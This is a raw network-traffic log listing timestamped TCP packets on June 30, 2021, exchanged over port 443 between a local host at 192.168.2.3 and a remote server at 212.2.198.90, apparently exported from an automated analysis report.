Jun 30, 2021 20:06:08.347821951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.347888947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347918034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347934961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347946882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.347951889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347965002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347973108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.347982883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.347991943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348002911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348021030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348028898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348037004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348050117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348053932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348076105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348083019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348119020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348156929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348175049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348192930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348198891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348208904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348221064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348229885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348232985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348244905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348259926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348263979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348278046 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348278999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348292112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348309040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348309994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348325968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348344088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348346949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348361015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348371029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348381042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348391056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348423004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348452091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348467112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348483086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348494053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348530054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348675013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348695040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348710060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348721027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348727942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348747969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348757029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348767042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348783970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348790884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348800898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348809958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348818064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348834991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348844051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348851919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348869085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348881960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348890066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348905087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348908901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348926067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348932981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348943949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348958969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348961115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348977089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348979950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.348994970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.348995924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349010944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349016905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349030018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349042892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349046946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349055052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349072933 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349081039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349090099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349107027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349116087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349124908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349138021 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349142075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349157095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349172115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349174023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349191904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349203110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349209070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349225044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349227905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349241972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349250078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349277020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349294901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349345922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349363089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349380016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349390030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349391937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349406004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349421978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349425077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349442005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349453926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349459887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349476099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349477053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349493980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349510908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349512100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349523067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349539995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349539995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349554062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349561930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349570990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349589109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349597931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349601030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349618912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349631071 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349634886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349652052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349652052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349668980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349682093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349684954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349700928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349714041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349760056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349782944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.349975109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.349994898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350011110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350028992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350044966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350045919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350063086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350073099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350080967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350100994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350115061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350122929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350132942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350142002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350151062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350163937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350169897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350183010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350187063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350203991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350212097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350222111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.350234985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.350267887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418174028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418206930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418221951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418240070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418256998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418293953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418298960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418317080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418333054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418344975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418361902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418384075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418389082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418416023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418438911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418447971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418466091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418482065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418500900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418510914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418525934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418543100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418551922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418570995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418595076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418600082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418629885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418637037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418649912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418673992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418704987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418705940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418724060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418735027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418751001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418762922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418787003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418800116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418806076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418817043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418833971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418847084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.418868065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.418903112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419220924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419255972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419275999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419281006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419291973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419308901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419315100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419326067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419342041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419348955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419358015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419368982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419375896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419398069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419404984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419415951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419431925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419439077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419450045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419460058 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419466972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419485092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419488907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419502020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419518948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419526100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419538021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419550896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419555902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419572115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419583082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419589043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419606924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419614077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419622898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419635057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419640064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419656992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419676065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419677019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419697046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419703007 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419711113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419723988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419742107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419751883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419760942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419775009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419775963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419797897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419806004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419817924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419831991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419835091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419852018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419864893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419868946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419887066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419894934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419904947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419918060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419924974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419946909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419950962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.419965982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419984102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.419986963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420001030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420003891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420017958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420032978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420033932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420052052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420058012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420068979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420090914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420098066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420109987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420116901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420126915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420142889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420154095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420160055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420176029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420188904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420192003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420208931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420218945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420231104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420238018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420250893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420268059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420270920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420281887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420296907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420311928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420325041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420337915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420352936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420356035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420368910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420377970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420383930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420401096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420403957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420423985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420427084 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420437098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420449972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420466900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420470953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420484066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420491934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420501947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420510054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420519114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420532942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420541048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420551062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420564890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420573950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420583963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.420595884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.420598984 CEST	443	49720	212.2.198.90	192.168.2.3
